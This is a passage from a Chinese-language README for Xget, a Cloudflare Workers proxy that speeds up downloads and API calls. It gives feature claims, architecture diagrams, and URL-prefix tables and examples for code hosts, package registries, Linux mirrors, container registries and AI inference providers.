C](https://www.bilibili.com/video/BV1EeeBzVEop/)、[玄离 199](https://www.bilibili.com/video/BV197hqzsE8Y/?t=8) 等。在此感谢 GitCode 的认可,也感谢每一位分享、推荐和实际使用 Xget 的朋友。 ## 🎯 快速使用 **预部署实例(不保证可靠性):`xget.xi-xu.me`** **URL 转换器:**[**`xuc.xi-xu.me`**](https://xuc.xi-xu.me) - 一键转换任意支持平台的 URL 为 Xget 的加速格式 **Agent Skills:**[**`skills/xget/`**](skills/xget/) - 可以作为独立的 `/xget` 目录直接安装到 skills 目录中 ## 🌟 核心优势 - 为什么选择 Xget? ### ⚡ 极速性能 - 突破传统加速器瓶颈 - **⚡ 毫秒级响应**:Cloudflare 全球 330+ 边缘节点,平均响应时间 < 50ms - **🌐 HTTP/3 极速协议**:启用最新 HTTP/3 协议,连接延迟降低 40%,传输速度提升 30% - **📦 智能多重压缩**:gzip、deflate、brotli 三重压缩算法,传输效率提升 60% - **🔗 零延迟预连接**:连接预热和保持活跃,消除握手开销,实现秒级响应 - **⚡ 并行分片下载**:完整支持 HTTP Range 请求,多线程下载速度倍增 - **🎯 智能路由优化**:自动选择最优传输路径,避开网络拥堵节点 ### 🌐 多平台深度集成 - **一站式多平台支持**:统一支持各种开发场景中的主流平台 - **智能识别与转换**:自动识别平台前缀并转换为目标平台的正确 URL 结构 - **一致的加速体验**:无论文件类型或来源,均可享受统一且稳定的极速下载体验 ### 🔒 企业级安全保障 - **多层安全标头**: - `Strict-Transport-Security`:强制 HTTPS 传输,预防中间人攻击 - `X-Frame-Options: DENY`:防止点击劫持攻击 - `X-XSS-Protection`:内置 XSS 防护机制 - `Content-Security-Policy`:严格的内容安全策略 - `Referrer-Policy`:控制引用信息泄露 - **请求验证机制**: - HTTP 方法白名单:常规请求限制为 GET/HEAD,而 Git/LFS、容器镜像仓库、AI 推理和 Hugging Face API 请求会按需允许 `POST`、`PUT`、`PATCH` 和 `DELETE` - 路径长度限制:防止超长 URL 攻击(最大 2048 字符) - 输入清理:防止路径遍历和注入攻击 - **超时保护**:30 秒请求超时,防止资源耗尽和恶意请求 ### 🚀 现代架构与可靠性 - **智能重试机制**: - 最大 3 次重试,线性延迟策略(1000ms × 重试次数) - 自动错误恢复,提高下载成功率 - 超时检测和中断处理 - **高效缓存策略**: - 1800 秒(30 分钟)默认缓存时长,显著减少源站压力 - Git 操作跳过缓存,确保实时性 - 基于 Cloudflare Cache API 的边缘缓存 - **性能监控系统**: - 内置 `PerformanceMonitor` 类,实时追踪请求各阶段耗时 - 通过 `X-Performance-Metrics` 响应头提供详细性能数据 - 支持缓存命中率统计和优化建议 ### 🎯 Git 协议完全兼容 - **智能协议检测**: - 自动识别 Git 特定端点(`/info/refs`、`/git-upload-pack`、`/git-receive-pack`) - 检测 Git 客户端 User-Agent 模式 - 支持 `service=git-upload-pack` 等查询参数 - **完整操作支持**: - `git clone`:完整存储库克隆,支持浅克隆和分支指定 - `git push`:代码推送和分支管理 - `git pull/fetch`:增量更新和远程同步 - `git submodule`:子模块递归克隆 - **协议优化**: - 保持 Git 专用请求头和认证信息 - 智能 User-Agent 处理(默认 `git/2.34.1`) - 支持 Git LFS 大文件传输 ### 📱 生态系统集成 - **专用浏览器扩展**:[Xget Now](https://github.com/xixu-me/Xget-Now) 提供无缝体验 - 自动 URL 重定向,无需手动修改 URL - 支持自定义 Xget 实例域名 - 多平台偏好设置和黑白名单管理 - 本地处理,确保隐私安全 - **下载工具兼容**:完美支持 wget、cURL、aria2、IDM 等主流下载工具 - **CI/CD 集成**:可直接在 GitHub Actions、GitLab CI 等环境中使用 ## 🏗️ 系统架构 ### 请求处理流程 ```mermaid graph TD Request[用户请求 / User-Agent] --> Identify{识别平台} Identify -->|无效| Error[返回错误] Identify -->|有效| Transform[转换路径] Transform --> CheckProtocol{检查协议} CheckProtocol -->|Git| GitHandler[Git 协议适配器] CheckProtocol -->|Docker| DockerHandler[Docker 协议适配器] CheckProtocol -->|AI| AIHandler[AI 推理适配器] CheckProtocol -->|标准| StdHandler[标准适配器] GitHandler --> Upstream[获取上游] DockerHandler --> Upstream AIHandler --> Upstream StdHandler --> CacheCheck{检查缓存} CacheCheck -->|命中| ReturnCache[返回缓存响应] CacheCheck -->|未命中| Upstream Upstream -->|成功| ProcessResponse[处理响应] Upstream -->|失败| Retry{重试?} Retry -->|是| Wait["等待 (退避)"] --> Upstream Retry -->|否| Error ProcessResponse --> Finalize[添加标头并返回] Finalize --> Response[响应] ``` ### 组件架构 ```mermaid classDiagram class Worker { +fetch(request) } class AppHandler { +handleRequest(request, env, ctx) } class PlatformCatalog { +PLATFORM_CATALOG } class PlatformRouting { +transformPath() +resolveTarget() } class Validation { +validateRequest() +isDockerRequest() } class GitProtocol { +configureGitHeaders() +isGitRequest() } class DockerProtocol { +handleDockerAuth() +fetchToken() } class AIProtocol { +configureAIHeaders() } class UpstreamPipeline { +tryReadCachedResponse() +fetchUpstreamResponse() } class ResponsePipeline { +finalizeResponse() } class Security { +addSecurityHeaders() } class Performance { +monitor() } Worker --> AppHandler AppHandler --> PlatformCatalog AppHandler --> PlatformRouting AppHandler --> Validation AppHandler --> GitProtocol AppHandler --> DockerProtocol AppHandler --> AIProtocol AppHandler --> UpstreamPipeline AppHandler --> ResponsePipeline AppHandler --> Security AppHandler --> Performance PlatformRouting --> PlatformCatalog ``` ## 📖 URL 转换规则 使用预部署实例 **`xget.xi-xu.me`** 或你自己部署的实例,只需简单替换域名并添加平台前缀: ### 转换格式 | 平台 | 平台前缀 | 原始 URL 格式 | 加速 URL 格式 | | ------------- | ----------- | ------------------------------------------------------------------- | -------------------------------------------------------------------------------- | | GitHub | `gh` | `https://github.com/...` | `https://xget.xi-xu.me/gh/...` | | GitHub Gist | `gist` | `https://gist.github.com/...` | `https://xget.xi-xu.me/gist/...` | | GitLab | `gl` | `https://gitlab.com/...` | `https://xget.xi-xu.me/gl/...` | | Gitea | `gitea` | `https://gitea.com/...` | `https://xget.xi-xu.me/gitea/...` | | Codeberg | `codeberg` | `https://codeberg.org/...` | `https://xget.xi-xu.me/codeberg/...` | | SourceForge | `sf` | `https://sourceforge.net/...` | `https://xget.xi-xu.me/sf/...` | | AOSP | `aosp` | `https://android.googlesource.com/...` | `https://xget.xi-xu.me/aosp/...` | | Hugging Face | `hf` | `https://huggingface.co/...` | `https://xget.xi-xu.me/hf/...` | | Civitai | `civitai` | `https://civitai.com/...` | `https://xget.xi-xu.me/civitai/...` | | npm | `npm` | `https://registry.npmjs.org/...` | `https://xget.xi-xu.me/npm/...` | | PyPI | `pypi` | `https://pypi.org/...` | `https://xget.xi-xu.me/pypi/...` | | conda | `conda` | `https://repo.anaconda.com/...` 和 `https://conda.anaconda.org/...` | `https://xget.xi-xu.me/conda/...` 和 `https://xget.xi-xu.me/conda/community/...` | | Maven | `maven` | `https://repo1.maven.org/...` | `https://xget.xi-xu.me/maven/...` | | Apache | `apache` | `https://downloads.apache.org/...` | `https://xget.xi-xu.me/apache/...` | | Gradle | `gradle` | `https://plugins.gradle.org/...` | `https://xget.xi-xu.me/gradle/...` | | Homebrew | `homebrew` | `https://github.com/Homebrew/...` | `https://xget.xi-xu.me/homebrew/...` | | RubyGems | `rubygems` | `https://rubygems.org/...` | `https://xget.xi-xu.me/rubygems/...` | | CRAN | `cran` | `https://cran.r-project.org/...` | `https://xget.xi-xu.me/cran/...` | | CPAN | `cpan` | `https://www.cpan.org/...` | `https://xget.xi-xu.me/cpan/...` | | CTAN | `ctan` | `https://tug.ctan.org/...` | `https://xget.xi-xu.me/ctan/...` | | Go 模块 | `golang` | `https://proxy.golang.org/...` | `https://xget.xi-xu.me/golang/...` | | NuGet | `nuget` | `https://api.nuget.org/...` | `https://xget.xi-xu.me/nuget/...` | | Rust Crates | `crates` | `https://crates.io/...` | `https://xget.xi-xu.me/crates/...` | | Packagist | `packagist` | `https://repo.packagist.org/...` | `https://xget.xi-xu.me/packagist/...` | | Flathub | `flathub` | `https://dl.flathub.org/...` | `https://xget.xi-xu.me/flathub/...` | | Debian | `debian` | `https://deb.debian.org/...` | `https://xget.xi-xu.me/debian/...` | | Ubuntu | `ubuntu` | `https://archive.ubuntu.com/...` | `https://xget.xi-xu.me/ubuntu/...` | | Fedora | `fedora` | `https://dl.fedoraproject.org/...` | `https://xget.xi-xu.me/fedora/...` | | Rocky Linux | `rocky` | `https://download.rockylinux.org/...` | `https://xget.xi-xu.me/rocky/...` | | openSUSE | `opensuse` | `https://download.opensuse.org/...` | `https://xget.xi-xu.me/opensuse/...` | | Arch Linux | `arch` | `https://geo.mirror.pkgbuild.com/...` | `https://xget.xi-xu.me/arch/...` | | arXiv | `arxiv` | `https://arxiv.org/...` | `https://xget.xi-xu.me/arxiv/...` | | F-Droid | `fdroid` | `https://f-droid.org/...` | `https://xget.xi-xu.me/fdroid/...` | | Jenkins 插件 | `jenkins` | `https://updates.jenkins.io/...` | `https://xget.xi-xu.me/jenkins/...` | | 容器注册表 | `cr` | 见[容器注册表](#容器注册表) | 见[容器注册表](#容器注册表) | | AI 推理提供商 | `ip` | 见 [AI 推理提供商](#ai-推理提供商) | 见 [AI 推理提供商](#ai-推理提供商) | ### 各平台转换示例 #### GitHub ```url # 原始 URL https://github.com/microsoft/vscode/archive/refs/heads/main.zip # 转换后(添加 gh 前缀) https://xget.xi-xu.me/gh/microsoft/vscode/archive/refs/heads/main.zip ``` #### GitHub Gist ```url # 原始 URL https://gist.github.com/xixu-me/e2ea9db6b1f143892495f796fef18631/raw/3b8807172ee492d0da3a7e370b0fb88fc97b53e6/Free-ChatGPT-Paid-Plan.md # 转换后(添加 gist 前缀) https://xget.xi-xu.me/gist/xixu-me/e2ea9db6b1f143892495f796fef18631/raw/3b8807172ee492d0da3a7e370b0fb88fc97b53e6/Free-ChatGPT-Paid-Plan.md ``` #### GitLab ```url # 原始 URL https://gitlab.com/gitlab-org/gitlab/-/archive/master/gitlab-master.zip # 转换后(添加 gl 前缀) https://xget.xi-xu.me/gl/gitlab-org/gitlab/-/archive/master/gitlab-master.zip ``` #### Gitea ```url # 原始 URL https://gitea.com/gitea/gitea/archive/master.zip # 转换后(添加 gitea 前缀) https://xget.xi-xu.me/gitea/gitea/gitea/archive/master.zip ``` #### Codeberg ```url # 原始 URL https://codeberg.org/forgejo/forgejo/archive/forgejo.zip # 转换后(添加 codeberg 前缀) https://xget.xi-xu.me/codeberg/forgejo/forgejo/archive/forgejo.zip ``` #### SourceForge ```url # 原始 URL https://sourceforge.net/projects/sevenzip/files/7-Zip/23.01/7z2301-x64.exe/download # 转换后(添加 sf 前缀) https://xget.xi-xu.me/sf/projects/sevenzip/files/7-Zip/23.01/7z2301-x64.exe/download ``` #### AOSP (Android 开源项目) ```url # AOSP 项目原始 URL https://android.googlesource.com/platform/frameworks/base # 转换后(添加 aosp 前缀) https://xget.xi-xu.me/aosp/platform/frameworks/base # AOSP 设备树原始 URL https://android.googlesource.com/device/google/pixel # 转换后(添加 aosp 前缀) https://xget.xi-xu.me/aosp/device/google/pixel ``` #### Hugging Face ```url # 模型文件原始 URL https://huggingface.co/microsoft/DialoGPT-medium/resolve/main/pytorch_model.bin # 转换后(添加 hf 前缀) https://xget.xi-xu.me/hf/microsoft/DialoGPT-medium/resolve/main/pytorch_model.bin # 数据集文件原始 URL https://huggingface.co/datasets/rajpurkar/squad/resolve/main/plain_text/train-00000-of-00001.parquet # 转换后(添加 hf 前缀) https://xget.xi-xu.me/hf/datasets/rajpurkar/squad/resolve/main/plain_text/train-00000-of-00001.parquet ``` #### Civitai ```url # AI 模型下载原始 URL https://civitai.com/api/download/models/128713 # 转换后(添加 civitai 前缀) https://xget.xi-xu.me/civitai/api/download/models/128713 # 模型 API 原始 URL https://civitai.com/api/v1/models/7240 # 转换后(添加 civitai 前缀) https://xget.xi-xu.me/civitai/api/v1/models/7240 # 模型版本 API 原始 URL https://civitai.com/api/v1/model-versions/128713 # 转换后(添加 civitai 前缀) https://xget.xi-xu.me/civitai/api/v1/model-versions/128713 ``` #### npm ```url # 包文件原始 URL https://registry.npmjs.org/react/-/react-18.2.0.tgz # 转换后(添加 npm 前缀) https://xget.xi-xu.me/npm/react/-/react-18.2.0.tgz # 包元数据原始 URL https://registry.npmjs.org/lodash # 转换后(添加 npm 前缀) https://xget.xi-xu.me/npm/lodash ``` #### PyPI ```url # Python 包文件原始 URL https://pypi.org/packages/source/r/requests/requests-2.31.0.tar.gz # 转换后(添加 pypi 前缀) https://xget.xi-xu.me/pypi/packages/source/r/requests/requests-2.31.0.tar.gz # Wheel 文件原始 URL https://pypi.org/packages/py3/r/requests/requests-2.31.0-py3-none-any.whl # 转换后(添加 pypi 前缀) https://xget.xi-xu.me/pypi/packages/py3/r/requests/requests-2.31.0-py3-none-any.whl ``` #### conda ```url # 默认频道包文件原始 URL https://repo.anaconda.com/pkgs/main/linux-64/numpy-1.24.3-py311h08b1b3b_1.conda # 转换后(添加 conda 前缀) https://xget.xi-xu.me/conda/pkgs/main/linux-64/numpy-1.24.3-py311h08b1b3b_1.conda # 社区频道元数据原始 URL https://conda.anaconda.org/conda-forge/linux-64/repodata.json # 转换后(添加 conda/community 前缀) https://xget.xi-xu.me/conda/community/conda-forge/linux-64/repodata.json ``` #### Maven ```url # Maven 中央存储库 JAR 文件原始 URL https://repo1.maven.org/maven2/org/springframework/spring-core/5.3.21/spring-core-5.3.21.jar # 转换后(添加 maven 前缀) https://xget.xi-xu.me/maven/maven2/org/springframework/spring-core/5.3.21/spring-core-5.3.21.jar # Maven 元数据原始 URL https://repo1.maven.org/maven2/org/apache/commons/commons-lang3/maven-metadata.xml # 转换后(添加 maven 前缀) https://xget.xi-xu.me/maven/maven2/org/apache/commons/commons-lang3/maven-metadata.xml ``` #### Apache 软件下载 ```url # Apache 软件下载原始 URL https://downloads.apache.org/kafka/3.6.1/kafka_2.13-3.6.1.tgz # 转换后(添加 apache 前缀) https://xget.xi-xu.me/apache/kafka/3.6.1/kafka_2.13-3.6.1.tgz # Apache Maven 下载原始 URL https://downloads.apache.org/maven/maven-3/3.9.5/binaries/apache-maven-3.9.5-bin.tar.gz # 转换后(添加 apache 前缀) https://xget.xi-xu.me/apache/maven/maven-3/3.9.5/binaries/apache-maven-3.9.5-bin.tar.gz # Apache Spark 下载原始 URL https://downloads.apache.org/spark/spark-3.5.0/spark-3.5.0-bin-hadoop3.tgz # 转换后(添加 apache 前缀) https://xget.xi-xu.me/apache/spark/spark-3.5.0/spark-3.5.0-bin-hadoop3.tgz ``` #### Gradle ```url # Gradle 插件门户 JAR 文件原始 URL https://plugins.gradle.org/m2/org/gradle/gradle-hello-world-plugin/0.2/gradle-hello-world-plugin-0.2.jar # 转换后(添加 gradle 前缀) https://xget.xi-xu.me/gradle/m2/org/gradle/gradle-hello-world-plugin/0.2/gradle-hello-world-plugin-0.2.jar # Gradle 插件元数据原始 URL https://plugins.gradle.org/m2/com/github/ben-manes/gradle-versions-plugin/0.51.0/gradle-versions-plugin-0.51.0.module # 转换后(添加 gradle 前缀) https://xget.xi-xu.me/gradle/m2/com/github/ben-manes/gradle-versions-plugin/0.51.0/gradle-versions-plugin-0.51.0.module ``` #### Homebrew ```url # Homebrew 公式存储库原始 URL https://github.com/Homebrew/homebrew-core/raw/HEAD/Formula/g/git.rb # 转换后(添加 homebrew 前缀) https://xget.xi-xu.me/homebrew/homebrew-core/raw/HEAD/Formula/g/git.rb # Homebrew API 原始 URL https://formulae.brew.sh/api/formula/git.json # 转换后(添加 homebrew/api 前缀) https://xget.xi-xu.me/homebrew/api/formula/git.json # Homebrew Bottles 原始 URL https://ghcr.io/v2/homebrew/core/git/manifests/2.39.0 # 转换后(添加 homebrew/bottles 前缀) https://xget.xi-xu.me/homebrew/bottles/v2/homebrew/core/git/manifests/2.39.0 ``` #### RubyGems ```url # RubyGems 包文件原始 URL https://rubygems.org/gems/rails-7.0.4.gem # 转换后(添加 rubygems 前缀) https://xget.xi-xu.me/rubygems/gems/rails-7.0.4.gem # RubyGems API 原始 URL https://rubygems.org/api/v1/gems/nokogiri.json # 转换后(添加 rubygems 前缀) https://xget.xi-xu.me/rubygems/api/v1/gems/nokogiri.json ``` #### CRAN ```url # CRAN 包文件原始 URL https://cran.r-project.org/src/contrib/ggplot2_3.5.2.tar.gz # 转换后(添加 cran 前缀) https://xget.xi-xu.me/cran/src/contrib/ggplot2_3.5.2.tar.gz # CRAN 包元数据原始 URL https://cran.r-project.org/web/packages/dplyr/DESCRIPTION # 转换后(添加 cran 前缀) https://xget.xi-xu.me/cran/web/packages/dplyr/DESCRIPTION ``` #### CPAN (Perl 包管理) ```url # CPAN 模块原始 URL https://www.cpan.org/modules/by-module/DBI/DBI-1.643.tar.gz # 转换后(添加 cpan 前缀) https://xget.xi-xu.me/cpan/modules/by-module/DBI/DBI-1.643.tar.gz # CPAN 作者包原始 URL https://www.cpan.org/authors/id/T/TI/TIMB/DBI-1.643.tar.gz # 转换后(添加 cpan 前缀) https://xget.xi-xu.me/cpan/authors/id/T/TI/TIMB/DBI-1.643.tar.gz ``` #### CTAN (TeX/LaTeX 包管理) ```url # CTAN 包文件原始 URL https://tug.ctan.org/tex-archive/macros/latex/contrib/beamer.zip # 转换后(添加 ctan 前缀) https://xget.xi-xu.me/ctan/tex-archive/macros/latex/contrib/beamer.zip # CTAN 字体文件原始 URL https://tug.ctan.org/tex-archive/fonts/cm/pk/ljfour/public/cm/dpi600/cmr10.pk # 转换后(添加 ctan 前缀) https://xget.xi-xu.me/ctan/tex-archive/fonts/cm/pk/ljfour/public/cm/dpi600/cmr10.pk ``` #### Go 模块 ```url # Go 模块代理原始 URL https://proxy.golang.org/github.com/gin-gonic/gin/@v/v1.9.1.zip # 转换后(添加 golang 前缀) https://xget.xi-xu.me/golang/github.com/gin-gonic/gin/@v/v1.9.1.zip # Go 模块信息原始 URL https://proxy.golang.org/github.com/gorilla/mux/@v/list # 转换后(添加 golang 前缀) https://xget.xi-xu.me/golang/github.com/gorilla/mux/@v/list ``` #### NuGet ```url # NuGet 包下载原始 URL https://api.nuget.org/v3-flatcontainer/newtonsoft.json/13.0.3/newtonsoft.json.13.0.3.nupkg # 转换后(添加 nuget 前缀) https://xget.xi-xu.me/nuget/v3-flatcontainer/newtonsoft.json/13.0.3/newtonsoft.json.13.0.3.nupkg # NuGet 包元数据原始 URL https://api.nuget.org/v3/registration5-semver1/microsoft.aspnetcore.app/index.json # 转换后(添加 nuget 前缀) https://xget.xi-xu.me/nuget/v3/registration5-semver1/microsoft.aspnetcore.app/index.json ``` #### Rust Crates ```url # Crate 下载原始 URL https://crates.io/api/v1/crates/serde/1.0.0/download # 转换后(添加 crates 前缀) https://xget.xi-xu.me/crates/serde/1.0.0/download # Crate 元数据原始 URL https://crates.io/api/v1/crates/serde # 转换后(添加 crates 前缀) https://xget.xi-xu.me/crates/serde # Crate 搜索原始 URL https://crates.io/api/v1/crates?q=serde # 转换后(添加 crates 前缀) https://xget.xi-xu.me/crates/?q=serde ``` #### Packagist ```url # Packagist 包元数据原始 URL https://repo.packagist.org/p2/symfony/console.json # 转换后(添加 packagist 前缀) https://xget.xi-xu.me/packagist/p2/symfony/console.json # Packagist 包列表原始 URL https://repo.packagist.org/packages/list.json # 转换后(添加 packagist 前缀) https://xget.xi-xu.me/packagist/packages/list.json ``` #### Flathub ```url # Flathub 存储库原始 URL https://dl.flathub.org/repo/summary # 转换后(添加 flathub 前缀) https://xget.xi-xu.me/flathub/repo/summary # Flathub 应用引用原始 URL https://dl.flathub.org/repo/appstream/org.gnome.gedit.flatpakref # 转换后(添加 flathub 前缀) https://xget.xi-xu.me/flathub/repo/appstream/org.gnome.gedit.flatpakref ``` #### Linux 发行版 ```url # Debian 包原始 URL https://deb.debian.org/debian/pool/main/c/curl/curl_7.88.1-10+deb12u4_amd64.deb # 转换后(添加 debian 前缀) https://xget.xi-xu.me/debian/debian/pool/main/c/curl/curl_7.88.1-10+deb12u4_amd64.deb # Ubuntu 包原始 URL https://archive.ubuntu.com/ubuntu/pool/main/g/git/git_2.34.1-1ubuntu1.9_amd64.deb # 转换后(添加 ubuntu 前缀) https://xget.xi-xu.me/ubuntu/ubuntu/pool/main/g/git/git_2.34.1-1ubuntu1.9_amd64.deb # Fedora 包原始 URL https://dl.fedoraproject.org/pub/fedora/linux/releases/39/Everything/x86_64/os/Packages/n/nginx-1.24.0-1.fc39.x86_64.rpm # 转换后(添加 fedora 前缀) https://xget.xi-xu.me/fedora/pub/fedora/linux/releases/39/Everything/x86_64/os/Packages/n/nginx-1.24.0-1.fc39.x86_64.rpm # Rocky Linux 包原始 URL https://download.rockylinux.org/pub/rocky/9/BaseOS/x86_64/os/Packages/b/bash-5.1.8-6.el9.x86_64.rpm # 转换后(添加 rocky 前缀) https://xget.xi-xu.me/rocky/pub/rocky/9/BaseOS/x86_64/os/Packages/b/bash-5.1.8-6.el9.x86_64.rpm # openSUSE 包原始 URL https://download.opensuse.org/distribution/leap/15.5/repo/oss/x86_64/vim-9.0.1572-150500.20.8.1.x86_64.rpm # 转换后(添加 opensuse 前缀) https://xget.xi-xu.me/opensuse/distribution/leap/15.5/repo/oss/x86_64/vim-9.0.1572-150500.20.8.1.x86_64.rpm # Arch Linux 包原始 URL https://geo.mirror.pkgbuild.com/core/os/x86_64/linux-6.6.10.arch1-1-x86_64.pkg.tar.zst # 转换后(添加 arch 前缀) https://xget.xi-xu.me/arch/core/os/x86_64/linux-6.6.10.arch1-1-x86_64.pkg.tar.zst ``` #### arXiv ```url # arXiv 论文 PDF 原始 URL https://arxiv.org/pdf/2301.07041.pdf # 转换后(添加 arxiv 前缀) https://xget.xi-xu.me/arxiv/pdf/2301.07041.pdf # arXiv 论文源码原始 URL https://arxiv.org/e-print/2301.07041 # 转换后(添加 arxiv 前缀) https://xget.xi-xu.me/arxiv/e-print/2301.07041 ``` #### F-Droid ```url # F-Droid 应用 APK 原始 URL https://f-droid.org/repo/org.fdroid.fdroid_1016050.apk # 转换后(添加 fdroid 前缀) https://xget.xi-xu.me/fdroid/repo/org.fdroid.fdroid_1016050.apk # F-Droid 应用元数据原始 URL https://f-droid.org/api/v1/packages/org.fdroid.fdroid # 转换后(添加 fdroid 前缀) https://xget.xi-xu.me/fdroid/api/v1/packages/org.fdroid.fdroid ``` #### Jenkins 插件 ```url # Jenkins 更新中心原始 URL https://updates.jenkins.io/update-center.json # 转换后(添加 jenkins 前缀) https://xget.xi-xu.me/jenkins/update-center.json # Jenkins 插件下载原始 URL https://updates.jenkins.io/download/plugins/maven-plugin/3.27/maven-plugin.hpi # 转换后(添加 jenkins 前缀) https://xget.xi-xu.me/jenkins/download/plugins/maven-plugin/3.27/maven-plugin.hpi ``` #### 容器注册表 Xget 支持多个容器注册表,使用 `cr/[容器注册表前缀]` 格式: | 容器注册表 | 容器注册表前缀 | 原始 URL 格式 | 加速 URL 格式 | | ------------------------ | -------------- | ------------------------------------------- | ------------------------------------------- | | Docker Hub | `docker` | `https://registry-1.docker.io/...` | `https://xget.xi-xu.me/cr/docker/...` | | Quay.io | `quay` | `https://quay.io/...` | `https://xget.xi-xu.me/cr/quay/...` | | 谷歌容器注册表 | `gcr` | `https://gcr.io/...` | `https://xget.xi-xu.me/cr/gcr/...` | | 微软容器注册表 | `mcr` | `https://mcr.microsoft.com/...` | `https://xget.xi-xu.me/cr/mcr/...` | | 亚马逊公共弹性容器注册表 | `ecr` | `https://public.ecr.aws/...` | `https://xget.xi-xu.me/cr/ecr/...` | | GitHub 容器注册表 | `ghcr` | `https://ghcr.io/...` | `https://xget.xi-xu.me/cr/ghcr/...` | | GitLab 容器注册表 | `gitlab` | `https://registry.gitlab.com/...` | `https://xget.xi-xu.me/cr/gitlab/...` | | 红帽注册表 | `redhat` | `https://registry.redhat.io/...` | `https://xget.xi-xu.me/cr/redhat/...` | | 甲骨文容器注册表 | `oracle` | `https://container-registry.oracle.com/...` | `https://xget.xi-xu.me/cr/oracle/...` | | Cloudsmith | `cloudsmith` | `https://docker.cloudsmith.io/...` | `https://xget.xi-xu.me/cr/cloudsmith/...` | | DigitalOcean 注册表 | `digitalocean` | `https://registry.digitalocean.com/...` | `https://xget.xi-xu.me/cr/digitalocean/...` | | VMware 注册表 | `vmware` | `https://projects.registry.vmware.com/...` | `https://xget.xi-xu.me/cr/vmware/...` | | Kubernetes 注册表 | `k8s` | `https://registry.k8s.io/...` | `https://xget.xi-xu.me/cr/k8s/...` | | Heroku 注册表 | `heroku` | `https://registry.heroku.com/...` | `https://xget.xi-xu.me/cr/heroku/...` | | SUSE 注册表 | `suse` | `https://registry.suse.com/...` | `https://xget.xi-xu.me/cr/suse/...` | | openSUSE 注册表 | `opensuse` | `https://registry.opensuse.org/...` | `https://xget.xi-xu.me/cr/opensuse/...` | | Gitpod 注册表 | `gitpod` | `https://registry.gitpod.io/...` | `https://xget.xi-xu.me/cr/gitpod/...` | ```url # Docker Hub 原始 URL(官方镜像) https://registry-1.docker.io/v2/library/nginx/manifests/latest # 转换后(添加 cr/docker 前缀) https://xget.xi-xu.me/cr/docker/v2/nginx/manifests/latest # Docker Hub 原始 URL(用户镜像) https://registry-1.docker.io/v2/nginxinc/nginx-unprivileged/manifests/latest # 转换后(添加 cr/docker 前缀) https://xget.xi-xu.me/cr/docker/v2/nginxinc/nginx-unprivileged/manifests/latest # GitHub 容器注册表原始 URL https://ghcr.io/v2/nginxinc/nginx-unprivileged/manifests/latest # 转换后(添加 cr/ghcr 前缀) https://xget.xi-xu.me/cr/ghcr/v2/nginxinc/nginx-unprivileged/manifests/latest # 谷歌容器注册表原始 URL https://gcr.io/v2/distroless/base/manifests/latest # 转换后(添加 cr/gcr 前缀) https://xget.xi-xu.me/cr/gcr/v2/distroless/base/manifests/latest ``` 应用场景见[容器镜像加速](#容器镜像加速)。 #### AI 推理提供商 Xget 支持众多主流 AI 推理提供商的 API 加速,使用 `ip/[AI 推理提供商前缀]` 格式: | AI 推理提供商 | AI 推理提供商前缀 | 原始 URL 格式 | 加速 URL 格式 | | -------------- | ----------------- | ----------------------------------------------- | -------------------------------------------- | | OpenAI | `openai` | `https://api.openai.com/...` | `https://xget.xi-xu.me/ip/openai/...` | | Anthropic | `anthropic` | `https://api.anthropic.com/...` | `https://xget.xi-xu.me/ip/anthropic/...` | | Gemini | `gemini` | `https://generativelanguage.googleapis.com/...` | `https://xget.xi-xu.me/ip/gemini/...` | | Vertex AI | `vertexai` | `https://aiplatform.googleapis.com/...` | `https://xget.xi-xu.me/ip/vertexai/...` | | Cohere | `cohere` | `https://api.cohere.ai/...` | `https://xget.xi-xu.me/ip/cohere/...` | | Mistral AI | `mistralai` | `https://api.mistral.ai/...` | `https://xget.xi-xu.me/ip/mistralai/...` | | xAI | `xai` | `https://api.x.ai/...` | `https://xget.xi-xu.me/ip/xai/...` | | GitHub 模型 | `githubmodels` | `https://models.github.ai/...` | `https://xget.xi-xu.me/ip/githubmodels/...` | | NVIDIA API | `nvidiaapi` | `https://integrate.api.nvidia.com/...` | `https://xget.xi-xu.me/ip/nvidiaapi/...` | | Perplexity | `perplexity` | `https://api.perplexity.ai/...` | `https://xget.xi-xu.me/ip/perplexity/...` | | Groq | `groq` | `https://api.groq.com/...` | `https://xget.xi-xu.me/ip/groq/...` | | Cerebras | `cerebras` | `https://api.cerebras.ai/...` | `https://xget.xi-xu.me/ip/cerebras/...` | | SambaNova | `sambanova` | `https://api.sambanova.ai/...` | `https://xget.xi-xu.me/ip/sambanova/...` | | Siray | `siray` | `https://api.siray.ai/...` | `https://xget.xi-xu.me/ip/siray/...` | | HF Inference | `huggingface` | `https://router.huggingface.co/...` | `https://xget.xi-xu.me/ip/huggingface/...` | | Together | `together` | `https://api.together.xyz/...` | `https://xget.xi-xu.me/ip/together/...` | | Replicate | `replicate` | `https://api.replicate.com/...` | `https://xget.xi-xu.me/ip/replicate/...` | | Fireworks | `fireworks` | `https://api.fireworks.ai/...` | `https://xget.xi-xu.me/ip/fireworks/...` | | Nebius | `nebius` | `https://api.studio.nebius.ai/...` | `https://xget.xi-xu.me/ip/nebius/...` | | Jina | `jina` | `https://api.jina.ai/...` | `https://xget.xi-xu.me/ip/jina/...` | | Voyage AI | `voyageai` | `https://api.voyageai.com/...` | `https://xget.xi-xu.me/ip/voyageai/...` | | Fal AI | `falai` | `https://fal.run/...` | `https://xget.xi-xu.me/ip/falai/...` | | Novita | `novita` | `https://api.novita.ai/...` | `https://xget.xi-xu.me/ip/novita/...` | | Burncloud | `burncloud` | `https://ai.burncloud.com/...` | `https://xget.xi-xu.me/ip/burncloud/...` | | OpenRouter | `openrouter` | `https://openrouter.ai/...` | `https://xget.xi-xu.me/ip/openrouter/...` | | Poe | `poe` | `https://api.poe.com/...` | `https://xget.xi-xu.me/ip/poe/...` | | Featherless AI | `featherlessai` | `https://api.featherless.ai/...` | `https://xget.xi-xu.me/ip/featherlessai/...` | | Hyperbolic | `hyperbolic` | `https://api.hyperbolic.xyz/...` | `https://xget.xi-xu.me/ip/hyperbolic/...` | ```url # OpenAI API 原始 URL https://api.openai.com/v1/chat/completions # 转换后(添加 ip/openai 前缀) https://xget.xi-xu.me/ip/openai/v1/chat/completions # Claude API 原始 URL https://api.anthropic.com/v1/messages # 转换后(添加 ip/anthropic 前缀) https://xget.xi-xu.me/ip/anthropic/v1/messages # Gemini API 原始 URL https://generativelanguage.googleapis.com/v1beta/models/gemini-2.5-flash:generateContent # 转换后(添加 ip/gemini 前缀) https://xget.xi-xu.me/ip/gemini/v1beta/models/gemini-2.5-flash:generateContent # HF Inference API 原始 URL https://router.huggingface.co/hf-inference/models/openai/whisper-large-v3 # 转换后(添加 ip/huggingface 前缀) 